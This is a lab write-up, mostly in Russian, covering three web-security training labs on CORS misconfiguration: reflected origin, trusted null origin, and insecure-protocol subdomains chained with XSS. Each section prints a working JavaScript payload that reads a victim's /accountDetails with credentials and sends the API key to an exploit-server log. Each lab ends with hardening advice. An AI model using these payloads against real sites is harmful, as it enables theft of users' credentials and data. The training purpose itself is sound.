**Report on Laboratory Work: CORS Vulnerabilities**

**1. Introduction** В данной лабораторной работе рассматривались уязвимости, связанные с неправильной конфигурацией CORS (Cross-Origin Resource Sharing). Основные цели включали:

* Использование уязвимых CORS-настроек для кражи данных администратора.
* Эксплуатация слабых политик безопасности для обхода ограничений.

**2. Lab 1: CORS Vulnerability with Basic Origin Reflection**

**2.1. Анализ уязвимости**

* Веб-приложение имеет неправильную CORS-конфигурацию, которая доверяет всем источникам (origins).
* Доступ к API-ключу возможен через запрос к /accountDetails.

**2.2. Эксплуатация уязвимости**

* Включила Burp Proxy, вошла в аккаунт и нашла запрос к /accountDetails.
* Отправила запрос в Burp Repeater и добавила заголовок Origin: https://example.com.
* Сервер отразил этот заголовок в Access-Control-Allow-Origin, что подтвердило уязвимость.
* Разместила следующий код на exploit-сервере:
* <script>
* var req = new XMLHttpRequest();
* req.onload = reqListener;
* req.open('get','YOUR-LAB-ID.web-security-academy.net/accountDetails',true);
* req.withCredentials = true;
* req.send();
* function reqListener() {
* location='/log?key='+this.responseText;
* };
* </script>
* Запустила exploit, получила API-ключ жертвы и отправила его для завершения лабораторной работы.

**2.3. Выводы и рекомендации**

* Уязвимость позволила получить API-ключ администратора.
* Рекомендуется ограничивать CORS-доступ только доверенным источникам и использовать заголовок Access-Control-Allow-Credentials: false.

**3. Lab 2: CORS Vulnerability with Trusted Null Origin**

**3.1. Анализ уязвимости**

* Сервер доверяет null origin, что может быть использовано в sandboxed iframe.
* API-ключ можно получить через запрос к /accountDetails.

**3.2. Эксплуатация уязвимости**

* Вошла в аккаунт, нашла запрос к /accountDetails, проверила, что Access-Control-Allow-Credentials разрешает CORS.
* Отправила запрос с заголовком Origin: null, сервер его принял.
* Создала exploit с iframe:
* <iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
* var req = new XMLHttpRequest();
* req.onload = reqListener;
* req.open('get','YOUR-LAB-ID.web-security-academy.net/accountDetails',true);
* req.withCredentials = true;
* req.send();
* function reqListener() {
* location='YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?key='+encodeURIComponent(this.responseText);
* };
* </script>"></iframe>
* Доставила exploit жертве и получила её API-ключ.

**3.3. Выводы и рекомендации**

* Уязвимость позволила получить API-ключ через sandboxed iframe.
* Рекомендуется запретить null origin и проверять источник запросов перед их обработкой.

**4. Lab 3: CORS Vulnerability with Trusted Insecure Protocols**

**4.1. Анализ уязвимости**

* Сервер доверяет всем поддоменам, включая те, что работают по HTTP.
* В продуктовых страницах найдена XSS-уязвимость в параметре productId.

**4.2. Эксплуатация уязвимости**

* Вошла в аккаунт, нашла запрос к /accountDetails, проверила, что Access-Control-Allow-Credentials включён.
* Отправила запрос с Origin: http://subdomain.lab-id, сервер его принял.
* Обнаружила, что XSS-уязвимость позволяет внедрять скрипты в productId.
* Создала exploit:
* <script>
* document.location="http://stock.YOUR-LAB-ID.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://YOUR-LAB-ID.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
* </script>
* Запустила exploit, перехватила API-ключ администратора и завершила лабораторную работу.

**4.3. Выводы и рекомендации**

* Уязвимость позволила получить API-ключ через XSS и слабую CORS-конфигурацию.
* Рекомендуется:
  + Запретить CORS для HTTP-поддоменов.
  + Фильтровать вводимые данные, чтобы предотвратить XSS.
  + Использовать строгую Content Security Policy (CSP).

**5. Conclusion** Во всех лабораторных работах продемонстрированы критические ошибки конфигурации CORS, которые могут привести к утечке чувствительных данных. Основные рекомендации:

* Ограничить доверенные источники в заголовке Access-Control-Allow-Origin.
* Использовать Access-Control-Allow-Credentials: false там, где не требуется авторизованный доступ.
* Проверять источник запроса перед его обработкой.
* Защищаться от XSS, так как он может усилить CORS-уязвимости.

Правильная настройка CORS является важной частью безопасности веб-приложений и должна применяться в соответствии с принципами минимизации риска.